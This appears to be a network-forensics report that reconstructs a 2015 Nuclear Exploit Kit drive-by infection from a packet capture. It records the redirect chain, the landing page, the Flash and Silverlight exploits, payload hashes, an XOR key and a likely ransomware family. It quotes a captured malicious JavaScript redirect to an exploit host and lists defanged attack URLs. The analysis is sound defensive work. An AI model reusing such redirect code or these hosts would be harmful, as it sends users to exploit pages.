# Attribution Analysis Report – Report 2/Rev 2 (Julie Haynes)

**Timeline Summary with Attribution Analysis**

* 2015-02-15 17:33:39 | **Packet 1148** | **Compromised Website:** There’s a “GET /HTTP/1.1” where the user (IP 192.168.137.81) visits Wolfgangs Steak House at IP 211.49.170.155
* 2015-02-15 17:33:45 | **Packet 1979** | **Temporary Redirect**:
  + In Wireshark there is a “HTTP/1.1 302 Found\r\n” from Wolfgangas at 211.49.170.155 to the user’s PC at 192.168.137.81. Per this info there has been a redirection: *“The document has moved <a href="hxxp://bnureb0up683ppcbgt1fz9g.isbul.info/index.php?n=anM9MSZ1YnR5emE9cXZieWJtbHQmdGltZT0xNTAyMTUyMzIzMzYzMDkyMjU3NCZzcmM9MjIwJnN1cmw9d29sZmdhbmdzc3RlYWtob3VzZS5jby5rciZzcG9ydD04MCZrZXk9MjY3Q*”. An HTTP 302 can provide a way to continue temporary redirections.
* 2015-02-15 17:33:45 | **Packet 2104** | **Cushion redirection:** 
  + Snort detects a cushion redirection at 23:33:45.
  + There’s a “*GET /index.php?n=anM9MSZ1YnR5emE9cXZieWJtbHQmdGltZT0xNTAyMTUyMzIzMzYzMDkyMjU3NCZzcmM9MjIwJnN1cmw9d29sZmdhbmdzc3RlYWtob3VzZS5jby5rciZzcG9ydD04MCZrZXk9MjY3QzM5RTQmc3VyaT0vd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS5qcyUzZnZlcj0xLjExLjE= HTTP/1.1*” which returns “*var stjgy = "http://zz1lb82z00y16gdow25fcxm.ilaclama.us/watch.php?fuhgi=MTIyMDU5ODkwNjhkMTQ5ODNkNDI2YWEzNWJjYjNjNTJi"; var mmbw = typeof(location.replace); if (mmbw != "undefined") { top.location.replace(stjgy); } else { top.location.href = stjgy; };*”
* 2015-02-15 17:33:47 | **Packet 2521** | **Pointer to Landing Page**: There’s a “*GET /watch.php?fuhgi=MTIyMDU5ODkwNjhkMTQ5ODNkNDI2YWEzNWJjYjNjNTJi HTTP/1.1\r\n”* and a pointer to the landing page at hxxp://f9wb0396aobdotyzddcwdtf.ilaclama.us/VQlXBEpVSwQ.html
  + HASH: d9f266eb1dbd2bca408c837c3c4eaa39135417649ace63ba20d58c2df88ea19f
* 2015-02-15 17:33:54 | **Packet 2611** | **Landing Page and Outdated Flash Detected**:
  + Snort detects an outdated Windows Flash version for IE at 23:33:54.
  + In Wireshark, there’s a “*GET /B0hCSgFdUgdNBhhTTAMCBFAHAQIGXFJMAAcESgQNHwZTUh4HBUoCWwc*”. It looks like this is where the landing page is detecting the flash version to see if its outdated and vulnerable.
  + The landing page URL is “*hxxp://f9wb0396aobdotyzddcwdtf.ilaclama.us/VQlXBEpVSwQ.html”*
  + HASH: d9f266eb1dbd2bca408c837c3c4eaa39135417649ace63ba20d58c2df88ea19f
* 2015-02-15 17:33:54 | **Packet 2617** | **Flash Exploit** 
  + Snort detects a Driveby Nuclear EK SW M2 related to port 49212 at 23:33:54.
  + Packet 2617 is the first in a series of TCP packets [TCP segment of a reassembled PDU] between port 80 and port 49212.
  + The TCP stream 55 contains “x-flash-version: 11,9,900,117” in the file header and “ZWS” in the file contents, indicative of a Flash exploit.
  + This exploit follows packet 2611 where there’s a “GET” from the landing page “*GET /B0hCSgFdUgdNBhhTTAMCBFAHAQIGXFJMAAcESgQNHwZTUh4HBUoCWwc*”.
  + Later in packet 2630 there’s a *GET /favicon.ico*. Favicon.io is a malware that creates rogue favicon.ico or random .ico files which contain malicious PHP code inside them.
  + HASH: c4b1c55a90877d0618c2dc8bad01b33f1d60f3613b3673bdb08465569bdb8236
* 2015-02-15 17:33:56 | **Packet 2634** | **Silverlight Exploit**:
  + Snort detects a Driveby Nuclear EK SilverLight M2 related to port 49213 at 23:33:56.
  + Packet 2634 is the first in a series of TCP packets [TCP segment of a reassembled PDU] between port 80 and port 49213.
  + The TCP stream 56 contains a file header that displays “X-Powered-By: PHP/5.4.35-0+deb7u2”, and the file contents display “PK”, and there’s a dll file name, “advfgrwqrefq32.dll” – all indicative of a Silverlight exploit.
  + This exploit follows packet 2616 where there’s a “GET” from the landing page “*GET /B0hCSgFdUgdNBhhTTAMCBFAHAQIGXFJMAAcESgQNHwZTUh4HBUoXXllHUhY HTTP/1.1\r\n*”.
  + **HASH**: b4cb839573156364fc2a10a2d0a57cced697f076ce9fe4aa3604ada0b7a77523
* 2015-02-15 17:33:57 | **Packet 2658** | **Payload** (for Flash exploit)
  + Snort detects a Nuclear EK Payload at 23:33:57 related to port 49212.
  + Packet 2658 is the first in a series of TCP packets [TCP segment of a reassembled PDU] between port 80 and port 49212.
  + Earlier in packet 2655 there’s a “GET” from the landing page “*GET /BFleU0pTDlADS1UeAU4HAlYDBQUEVVoATgQHVhkGCRlVVQAcAwUYAElSYi8pUWp9eA HTTP/1.1\r\n*”
  + This TCP stream 55 includes a file that to contain several obfuscated ASCII strings with repeating patterns indicative of malware as shown in this example:
  + (Ex: ...KbXKNgUKK..KN.UKKaXKN#UKKaXKNcUKKaXKNcUKKaXKNcUKKaXKNcUKK.XKNmJ.Ea.B.B.J..y.&)
  + HASH: 9d4843ea3f0b0be3b533b50b17e8c1d2460e7136f7a46b4700ea5eb596629d7d XOR Key = cUKKaXKN
* 2015-02-15 17:34:01 | **Packet 2798** | **Payload** (for Silverlight exploit)
  + Snort detects a Nuclear EK Payload at 23:34:01 related to port 49213.
  + Packet 2798 is the first in a series of TCP packets [TCP segment of a reassembled PDU] between port 80 and port 49213.
  + Earlier in packet 2796 there’s a “GET” from the landing page: “*GET /BFleU0pTDlADS1UeAU4HAlYDBQUEVVoATgQHVhkGCRlVVQAcAwUYAElwVBQmaFZ\_SlY HTTP/1.1\r\n*”
  + This TCP stream 56 includes a file that appears to contain several obfuscated ASCII strings with repeating patterns indicative of malware as shown in this example:
  + (Ex: ...KbXKNgUKK..KN.UKKaXKN#UKKaXKNcUKKaXKNcUKKaXKNcUKKaXKNcUKK.XKNmJ.Ea.B.B.J..y.&)
  + HASH: 9d4843ea3f0b0be3b533b50b17e8c1d2460e7136f7a46b4700ea5eb596629d7d
  + XOR Key = cUKKaXKN

## SUPPORTING EVIDENCE AND SOURCES

1. **HASH in TCP Stream 44**: 9d4843ea3f0b0be3b533b50b17e8c1d2460e7136f7a46b4700ea5eb596629d7d
   1. VT references that this hash has executable file (.exe) properties. The payloads in packets 2658 and 2798 would use an executable.
2. **HASH in TCP Stream 55:** d9f266eb1dbd2bca408c837c3c4eaa39135417649ace63ba20d58c2df88ea19f
   1. VT references an html filename “*GET* /VQlXBEpVSwQ.html” associated with this hash that appears to be used as part of the pointer in packet 2611 and appears to be available on the landing page in packet 2561.
3. **HASH in TCP Stream 55**: c4b1c55a90877d0618c2dc8bad01b33f1d60f3613b3673bdb08465569bdb8236
   1. Per VT this hash is associated with exploit and malware text files for Flash. Packet 2617 contained a Flash exploit.
   2. VT references a filename associated with this hash – that filename matches the one in the “*GET /* “*B0hCSgFdUgdNBhhTTAMCBFAHAQIGXFJMAAcESgQNHwZTUh4HBUoCWwc* in packet 2617.
   3. VT references a filename “79e2” associated with this hash – that filename matches the one in packet 2617.
   4. Several engines in VT identify this hash detected as an “Exploit.CVE-2015-0311”. That CVE is for a vulnerability in Adobe Flash Player and allows remote attackers to execute arbitrary code (ref: <https://nvd.nist.gov/vuln/detail/CVE-2015-0311>)
4. **HASH in TCP Stream 56**: b4cb839573156364fc2a10a2d0a57cced697f076ce9fe4aa3604ada0b7a77523 in
   1. Per VT this hash is associated with exploit and malware text files for ZIP files. Packet 2634 and 2798 contained a ZIP file
   2. VT references a “.dll” called “advfgrwqrefq32.dll” associated with this hash – that filename matches one found in the contents of packets 2634.
   3. Some engines in VT identify this hash detected as an “Exploite.CVE-2013.0074.t” That CVE is for a vulnerability in Silverlight that allos remote attackers to execute arbitrary code (ref: <https://nvd.nist.gov/vuln/detail/CVE-2013-0074>)

## TYPE OF MALWARE

**MALWARE PAYLOAD**

The malware payload was most likely one of these ransomware varieties that were known to be used by by Nuclear in 2015**: It was actually Glupteba (which is one I originally had on the list, but then discounted) vs. any of the ones below.**

* Cryptowall – most likely
  + the most active ransomware family in 2015
  + Alias: Cryptowall, Trojan:W32/Cryptowall.A
  + One of the AV engines detected “Trojan.Win32.Crypt” for the hash “9d4843ea3f0b0be3b533b50b17e8c1d2460e7136f7a46b4700ea5eb596629d7d”
* TeslaCrypt – less likely as it was more commonly distributed by Angler EK
* CTB-Locker – possible, but not as commonly used
* Troldesh – less likely
* Browlock – less likely

These families would provide the victims with decryption keys after receiving a payment.

Sources: <https://www.f-secure.com/documents/996508/1030743/Threat_Report_2015.pdf>; <https://www.f-secure.com/v-descs/trojan_w32_cryptowall.shtml>; <https://www.symantec.com/security-center/writeup/2014-061923-2824-99>

**NUCLEAR EK**

The exploit was performed by Nuclear Exploit Kit (EK). Nuclear has mutliple vectors including Flash, Silverlight, PDF, and Internet Explorer. It also has multiple attack methods for re-directing users to a landing page containing the EK including compromised ad servers, drive-by downloads, and code injection. Nuclear also uses ASCII strings to XOR the payload.

Behaviors observed that resemble a Nuclear EK malware A drive-by exploit include:

* A drive-by exploit on both Flash and Silverlight was detected per Snort
* An exploit on both Flash and Silverlight was detected by packet analysis in Wireshark.
* Redirection was used per Snort
* Multiple redirections were identified in Wireshark, including one to a landing page that appeared to launch the exploit on both Flash and Silverlight.
* An ASCII string that appeared to XOR the payload was observed in multiple packets in Wireshark.
* Trojan:JS/Redirector.FD active redirector in 2015, Trojan:SWF/Redirector.EW used on sites using Wordpress

Sources: <https://blog.malwarebytes.com/threats/nuclear/>; <https://isc.sans.edu/forums/diary/Nuclear+EK+traffic+patterns+in+August+2015/20001/>; <https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/exploits-malware>